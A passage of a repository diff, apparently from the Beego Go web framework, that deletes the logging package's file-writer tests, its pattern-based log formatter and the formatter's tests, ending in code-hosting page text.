expected := LevelDebug + 1
|
||||
if lineNum != expected {
|
||||
t.Fatal(lineNum, "not "+strconv.Itoa(expected)+" lines")
|
||||
}
|
||||
os.Remove("test.log")
|
||||
}
|
||||
|
||||
func TestFile2(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", fmt.Sprintf(`{"filename":"test2.log","level":%d}`, LevelError))
|
||||
log.Debug("debug")
|
||||
log.Info("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
f, err := os.Open("test2.log")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b := bufio.NewReader(f)
|
||||
lineNum := 0
|
||||
for {
|
||||
line, _, err := b.ReadLine()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if len(line) > 0 {
|
||||
lineNum++
|
||||
}
|
||||
}
|
||||
expected := LevelError + 1
|
||||
if lineNum != expected {
|
||||
t.Fatal(lineNum, "not "+strconv.Itoa(expected)+" lines")
|
||||
}
|
||||
os.Remove("test2.log")
|
||||
}
|
||||
|
||||
func TestFileDailyRotate_01(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"test3.log","maxlines":4}`)
|
||||
log.Debug("debug")
|
||||
log.Info("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
rotateName := "test3" + fmt.Sprintf(".%s.%03d", time.Now().Format("2006-01-02"), 1) + ".log"
|
||||
b, err := exists(rotateName)
|
||||
if !b || err != nil {
|
||||
os.Remove("test3.log")
|
||||
t.Fatal("rotate not generated")
|
||||
}
|
||||
os.Remove(rotateName)
|
||||
os.Remove("test3.log")
|
||||
}
|
||||
|
||||
func TestFileDailyRotate_02(t *testing.T) {
|
||||
fn1 := "rotate_day.log"
|
||||
fn2 := "rotate_day." + time.Now().Add(-24*time.Hour).Format("2006-01-02") + ".001.log"
|
||||
testFileRotate(t, fn1, fn2, true, false)
|
||||
}
|
||||
|
||||
func TestFileDailyRotate_03(t *testing.T) {
|
||||
fn1 := "rotate_day.log"
|
||||
fn := "rotate_day." + time.Now().Add(-24*time.Hour).Format("2006-01-02") + ".log"
|
||||
os.Create(fn)
|
||||
fn2 := "rotate_day." + time.Now().Add(-24*time.Hour).Format("2006-01-02") + ".001.log"
|
||||
testFileRotate(t, fn1, fn2, true, false)
|
||||
os.Remove(fn)
|
||||
}
|
||||
|
||||
func TestFileDailyRotate_04(t *testing.T) {
|
||||
fn1 := "rotate_day.log"
|
||||
fn2 := "rotate_day." + time.Now().Add(-24*time.Hour).Format("2006-01-02") + ".001.log"
|
||||
testFileDailyRotate(t, fn1, fn2)
|
||||
}
|
||||
|
||||
func TestFileDailyRotate_05(t *testing.T) {
|
||||
fn1 := "rotate_day.log"
|
||||
fn := "rotate_day." + time.Now().Add(-24*time.Hour).Format("2006-01-02") + ".log"
|
||||
os.Create(fn)
|
||||
fn2 := "rotate_day." + time.Now().Add(-24*time.Hour).Format("2006-01-02") + ".001.log"
|
||||
testFileDailyRotate(t, fn1, fn2)
|
||||
os.Remove(fn)
|
||||
}
|
||||
|
||||
func TestFileDailyRotate_06(t *testing.T) { // test file mode
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"test3.log","maxlines":4}`)
|
||||
log.Debug("debug")
|
||||
log.Info("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
rotateName := "test3" + fmt.Sprintf(".%s.%03d", time.Now().Format("2006-01-02"), 1) + ".log"
|
||||
s, _ := os.Lstat(rotateName)
|
||||
if s.Mode() != 0o440 {
|
||||
os.Remove(rotateName)
|
||||
os.Remove("test3.log")
|
||||
t.Fatal("rotate file mode error")
|
||||
}
|
||||
os.Remove(rotateName)
|
||||
os.Remove("test3.log")
|
||||
}
|
||||
|
||||
func TestFileHourlyRotate_01(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"test3.log","hourly":true,"maxlines":4}`)
|
||||
log.Debug("debug")
|
||||
log.Info("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
rotateName := "test3" + fmt.Sprintf(".%s.%03d", time.Now().Format("2006010215"), 1) + ".log"
|
||||
b, err := exists(rotateName)
|
||||
if !b || err != nil {
|
||||
os.Remove("test3.log")
|
||||
t.Fatal("rotate not generated")
|
||||
}
|
||||
os.Remove(rotateName)
|
||||
os.Remove("test3.log")
|
||||
}
|
||||
|
||||
func TestFileHourlyRotate_02(t *testing.T) {
|
||||
fn1 := "rotate_hour.log"
|
||||
fn2 := "rotate_hour." + time.Now().Add(-1*time.Hour).Format("2006010215") + ".001.log"
|
||||
testFileRotate(t, fn1, fn2, false, true)
|
||||
}
|
||||
|
||||
func TestFileHourlyRotate_03(t *testing.T) {
|
||||
fn1 := "rotate_hour.log"
|
||||
fn := "rotate_hour." + time.Now().Add(-1*time.Hour).Format("2006010215") + ".log"
|
||||
os.Create(fn)
|
||||
fn2 := "rotate_hour." + time.Now().Add(-1*time.Hour).Format("2006010215") + ".001.log"
|
||||
testFileRotate(t, fn1, fn2, false, true)
|
||||
os.Remove(fn)
|
||||
}
|
||||
|
||||
func TestFileHourlyRotate_04(t *testing.T) {
|
||||
fn1 := "rotate_hour.log"
|
||||
fn2 := "rotate_hour." + time.Now().Add(-1*time.Hour).Format("2006010215") + ".001.log"
|
||||
testFileHourlyRotate(t, fn1, fn2)
|
||||
}
|
||||
|
||||
func TestFileHourlyRotate_05(t *testing.T) {
|
||||
fn1 := "rotate_hour.log"
|
||||
fn := "rotate_hour." + time.Now().Add(-1*time.Hour).Format("2006010215") + ".log"
|
||||
os.Create(fn)
|
||||
fn2 := "rotate_hour." + time.Now().Add(-1*time.Hour).Format("2006010215") + ".001.log"
|
||||
testFileHourlyRotate(t, fn1, fn2)
|
||||
os.Remove(fn)
|
||||
}
|
||||
|
||||
func TestFileHourlyRotate_06(t *testing.T) { // test file mode
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"test3.log", "hourly":true, "maxlines":4}`)
|
||||
log.Debug("debug")
|
||||
log.Info("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
rotateName := "test3" + fmt.Sprintf(".%s.%03d", time.Now().Format("2006010215"), 1) + ".log"
|
||||
s, _ := os.Lstat(rotateName)
|
||||
if s.Mode() != 0o440 {
|
||||
os.Remove(rotateName)
|
||||
os.Remove("test3.log")
|
||||
t.Fatal("rotate file mode error")
|
||||
}
|
||||
os.Remove(rotateName)
|
||||
os.Remove("test3.log")
|
||||
}
|
||||
|
||||
func testFileRotate(t *testing.T, fn1, fn2 string, daily, hourly bool) {
|
||||
fw := &fileLogWriter{
|
||||
Daily: daily,
|
||||
MaxDays: 7,
|
||||
Hourly: hourly,
|
||||
MaxHours: 168,
|
||||
Rotate: true,
|
||||
Level: LevelTrace,
|
||||
Perm: "0660",
|
||||
DirPerm: "0770",
|
||||
RotatePerm: "0440",
|
||||
}
|
||||
fw.logFormatter = fw
|
||||
|
||||
if fw.Daily {
|
||||
fw.Init(fmt.Sprintf(`{"filename":"%v","maxdays":1}`, fn1))
|
||||
fw.dailyOpenTime = time.Now().Add(-24 * time.Hour)
|
||||
fw.dailyOpenDate = fw.dailyOpenTime.Day()
|
||||
}
|
||||
|
||||
if fw.Hourly {
|
||||
fw.Init(fmt.Sprintf(`{"filename":"%v","maxhours":1}`, fn1))
|
||||
fw.hourlyOpenTime = time.Now().Add(-1 * time.Hour)
|
||||
fw.hourlyOpenDate = fw.hourlyOpenTime.Day()
|
||||
}
|
||||
lm := &LogMsg{
|
||||
Msg: "Test message",
|
||||
Level: LevelDebug,
|
||||
When: time.Now(),
|
||||
}
|
||||
|
||||
fw.WriteMsg(lm)
|
||||
|
||||
for _, file := range []string{fn1, fn2} {
|
||||
_, err := os.Stat(file)
|
||||
if err != nil {
|
||||
t.Log(err)
|
||||
t.FailNow()
|
||||
}
|
||||
os.Remove(file)
|
||||
}
|
||||
fw.Destroy()
|
||||
}
|
||||
|
||||
func testFileDailyRotate(t *testing.T, fn1, fn2 string) {
|
||||
fw := &fileLogWriter{
|
||||
Daily: true,
|
||||
MaxDays: 7,
|
||||
Rotate: true,
|
||||
Level: LevelTrace,
|
||||
Perm: "0660",
|
||||
DirPerm: "0770",
|
||||
RotatePerm: "0440",
|
||||
}
|
||||
fw.logFormatter = fw
|
||||
|
||||
fw.Init(fmt.Sprintf(`{"filename":"%v","maxdays":1}`, fn1))
|
||||
fw.dailyOpenTime = time.Now().Add(-24 * time.Hour)
|
||||
fw.dailyOpenDate = fw.dailyOpenTime.Day()
|
||||
today, _ := time.ParseInLocation("2006-01-02", time.Now().Format("2006-01-02"), fw.dailyOpenTime.Location())
|
||||
today = today.Add(-1 * time.Second)
|
||||
fw.dailyRotate(today)
|
||||
for _, file := range []string{fn1, fn2} {
|
||||
_, err := os.Stat(file)
|
||||
if err != nil {
|
||||
t.FailNow()
|
||||
}
|
||||
content, err := ioutil.ReadFile(file)
|
||||
if err != nil {
|
||||
t.FailNow()
|
||||
}
|
||||
if len(content) > 0 {
|
||||
t.FailNow()
|
||||
}
|
||||
os.Remove(file)
|
||||
}
|
||||
fw.Destroy()
|
||||
}
|
||||
|
||||
func testFileHourlyRotate(t *testing.T, fn1, fn2 string) {
|
||||
fw := &fileLogWriter{
|
||||
Hourly: true,
|
||||
MaxHours: 168,
|
||||
Rotate: true,
|
||||
Level: LevelTrace,
|
||||
Perm: "0660",
|
||||
DirPerm: "0770",
|
||||
RotatePerm: "0440",
|
||||
}
|
||||
|
||||
fw.logFormatter = fw
|
||||
fw.Init(fmt.Sprintf(`{"filename":"%v","maxhours":1}`, fn1))
|
||||
fw.hourlyOpenTime = time.Now().Add(-1 * time.Hour)
|
||||
fw.hourlyOpenDate = fw.hourlyOpenTime.Hour()
|
||||
hour, _ := time.ParseInLocation("2006010215", time.Now().Format("2006010215"), fw.hourlyOpenTime.Location())
|
||||
hour = hour.Add(-1 * time.Second)
|
||||
fw.hourlyRotate(hour)
|
||||
for _, file := range []string{fn1, fn2} {
|
||||
_, err := os.Stat(file)
|
||||
if err != nil {
|
||||
t.FailNow()
|
||||
}
|
||||
content, err := ioutil.ReadFile(file)
|
||||
if err != nil {
|
||||
t.FailNow()
|
||||
}
|
||||
if len(content) > 0 {
|
||||
t.FailNow()
|
||||
}
|
||||
os.Remove(file)
|
||||
}
|
||||
fw.Destroy()
|
||||
}
|
||||
|
||||
func exists(path string) (bool, error) {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
|
||||
func BenchmarkFile(b *testing.B) {
|
||||
log := NewLogger(100000)
|
||||
log.SetLogger("file", `{"filename":"test4.log"}`)
|
||||
for i := 0; i < b.N; i++ {
|
||||
log.Debug("debug")
|
||||
}
|
||||
os.Remove("test4.log")
|
||||
}
|
||||
|
||||
func BenchmarkFileAsynchronous(b *testing.B) {
|
||||
log := NewLogger(100000)
|
||||
log.SetLogger("file", `{"filename":"test4.log"}`)
|
||||
log.Async()
|
||||
for i := 0; i < b.N; i++ {
|
||||
log.Debug("debug")
|
||||
}
|
||||
os.Remove("test4.log")
|
||||
}
|
||||
|
||||
func BenchmarkFileCallDepth(b *testing.B) {
|
||||
log := NewLogger(100000)
|
||||
log.SetLogger("file", `{"filename":"test4.log"}`)
|
||||
log.EnableFuncCallDepth(true)
|
||||
log.SetLogFuncCallDepth(2)
|
||||
for i := 0; i < b.N; i++ {
|
||||
log.Debug("debug")
|
||||
}
|
||||
os.Remove("test4.log")
|
||||
}
|
||||
|
||||
func BenchmarkFileAsynchronousCallDepth(b *testing.B) {
|
||||
log := NewLogger(100000)
|
||||
log.SetLogger("file", `{"filename":"test4.log"}`)
|
||||
log.EnableFuncCallDepth(true)
|
||||
log.SetLogFuncCallDepth(2)
|
||||
log.Async()
|
||||
for i := 0; i < b.N; i++ {
|
||||
log.Debug("debug")
|
||||
}
|
||||
os.Remove("test4.log")
|
||||
}
|
||||
|
||||
func BenchmarkFileOnGoroutine(b *testing.B) {
|
||||
log := NewLogger(100000)
|
||||
log.SetLogger("file", `{"filename":"test4.log"}`)
|
||||
for i := 0; i < b.N; i++ {
|
||||
go log.Debug("debug")
|
||||
}
|
||||
os.Remove("test4.log")
|
||||
}
|
||||
|
||||
func TestFileLogWriter_Format(t *testing.T) {
|
||||
lg := &LogMsg{
|
||||
Level: LevelDebug,
|
||||
Msg: "Hello, world",
|
||||
When: time.Date(2020, 9, 19, 20, 12, 37, 9, time.UTC),
|
||||
FilePath: "/user/home/main.go",
|
||||
LineNumber: 13,
|
||||
Prefix: "Cus",
|
||||
}
|
||||
|
||||
fw := newFileWriter().(*fileLogWriter)
|
||||
res := fw.Format(lg)
|
||||
assert.Equal(t, "2020/09/19 20:12:37.000 [D] Cus Hello, world\n", res)
|
||||
}
|
||||
@@ -1,91 +0,0 @@
|
||||
// Copyright 2020
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
var formatterMap = make(map[string]LogFormatter, 4)
|
||||
|
||||
type LogFormatter interface {
|
||||
Format(lm *LogMsg) string
|
||||
}
|
||||
|
||||
// PatternLogFormatter provides a quick format method
|
||||
// for example:
|
||||
// tes := &PatternLogFormatter{Pattern: "%F:%n|%w %t>> %m", WhenFormat: "2006-01-02"}
|
||||
// RegisterFormatter("tes", tes)
|
||||
// SetGlobalFormatter("tes")
|
||||
type PatternLogFormatter struct {
|
||||
Pattern string
|
||||
WhenFormat string
|
||||
}
|
||||
|
||||
func (p *PatternLogFormatter) getWhenFormatter() string {
|
||||
s := p.WhenFormat
|
||||
if s == "" {
|
||||
s = "2006/01/02 15:04:05.123" // default style
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func (p *PatternLogFormatter) Format(lm *LogMsg) string {
|
||||
return p.ToString(lm)
|
||||
}
|
||||
|
||||
// RegisterFormatter register an formatter. Usually you should use this to extend your custom formatter
|
||||
// for example:
|
||||
// RegisterFormatter("my-fmt", &MyFormatter{})
|
||||
// logs.SetFormatter(Console, `{"formatter": "my-fmt"}`)
|
||||
func RegisterFormatter(name string, fmtr LogFormatter) {
|
||||
formatterMap[name] = fmtr
|
||||
}
|
||||
|
||||
func GetFormatter(name string) (LogFormatter, bool) {
|
||||
res, ok := formatterMap[name]
|
||||
return res, ok
|
||||
}
|
||||
|
||||
// ToString 'w' when, 'm' msg,'f' filename,'F' full path,'n' line number
|
||||
// 'l' level number, 't' prefix of level type, 'T' full name of level type
|
||||
func (p *PatternLogFormatter) ToString(lm *LogMsg) string {
|
||||
s := []rune(p.Pattern)
|
||||
msg := fmt.Sprintf(lm.Msg, lm.Args...)
|
||||
m := map[rune]string{
|
||||
'w': lm.When.Format(p.getWhenFormatter()),
|
||||
'm': msg,
|
||||
'n': strconv.Itoa(lm.LineNumber),
|
||||
'l': strconv.Itoa(lm.Level),
|
||||
't': levelPrefix[lm.Level],
|
||||
'T': levelNames[lm.Level],
|
||||
'F': lm.FilePath,
|
||||
}
|
||||
_, m['f'] = path.Split(lm.FilePath)
|
||||
res := ""
|
||||
for i := 0; i < len(s)-1; i++ {
|
||||
if s[i] == '%' {
|
||||
if k, ok := m[s[i+1]]; ok {
|
||||
res += k
|
||||
i++
|
||||
continue
|
||||
}
|
||||
}
|
||||
res += string(s[i])
|
||||
}
|
||||
return res
|
||||
}
|
||||
@@ -1,116 +0,0 @@
|
||||
// Copyright 2020
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
type CustomFormatter struct{}
|
||||
|
||||
func (*CustomFormatter) Format(lm *LogMsg) string {
|
||||
return "hello, msg: " + lm.Msg
|
||||
}
|
||||
|
||||
type TestLogger struct {
|
||||
Formatter string `json:"formatter"`
|
||||
Expected string
|
||||
formatter LogFormatter
|
||||
}
|
||||
|
||||
func (t *TestLogger) Init(config string) error {
|
||||
er := json.Unmarshal([]byte(config), t)
|
||||
t.formatter, _ = GetFormatter(t.Formatter)
|
||||
return er
|
||||
}
|
||||
|
||||
func (t *TestLogger) WriteMsg(lm *LogMsg) error {
|
||||
msg := t.formatter.Format(lm)
|
||||
if msg != t.Expected {
|
||||
return errors.New("not equal")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (*TestLogger) Destroy() {
|
||||
panic("implement me")
|
||||
}
|
||||
|
||||
func (*TestLogger) Flush() {
|
||||
panic("implement me")
|
||||
}
|
||||
|
||||
func (*TestLogger) SetFormatter(_ LogFormatter) {
|
||||
panic("implement me")
|
||||
}
|
||||
|
||||
func TestCustomFormatter(t *testing.T) {
|
||||
RegisterFormatter("custom", &CustomFormatter{})
|
||||
tl := &TestLogger{
|
||||
Expected: "hello, msg: world",
|
||||
}
|
||||
assert.Nil(t, tl.Init(`{"formatter": "custom"}`))
|
||||
assert.Nil(t, tl.WriteMsg(&LogMsg{
|
||||
Msg: "world",
|
||||
}))
|
||||
}
|
||||
|
||||
func TestPatternLogFormatter(t *testing.T) {
|
||||
tes := &PatternLogFormatter{
|
||||
Pattern: "%F:%n|%w%t>> %m",
|
||||
WhenFormat: "2006-01-02",
|
||||
}
|
||||
when, _ := time.Parse(tes.WhenFormat, "2022-04-17")
|
||||
testCases := []struct {
|
||||
msg *LogMsg
|
||||
want string
|
||||
}{
|
||||
{
|
||||
msg: &LogMsg{
|
||||
Msg: "hello %s",
|
||||
FilePath: "/User/go/beego/main.go",
|
||||
Level: LevelWarn,
|
||||
LineNumber: 10,
|
||||
When: when,
|
||||
Args: []interface{}{"world"},
|
||||
},
|
||||
want: "/User/go/beego/main.go:10|2022-04-17[W]>> hello world",
|
||||
},
|
||||
{
|
||||
msg: &LogMsg{
|
||||
Msg: "hello",
|
||||
FilePath: "/User/go/beego/main.go",
|
||||
Level: LevelWarn,
|
||||
LineNumber: 10,
|
||||
When: when,
|
||||
},
|
||||
want: "/User/go/beego/main.go:10|2022-04-17[W]>> hello",
|
||||
},
|
||||
{
|
||||
msg: &LogMsg{},
|
||||
want: ":0|0001-01-01[M]>> ",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
got := tes.ToString(tc.msg)
|
||||
assert.Equal(t, tc.want, got)
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user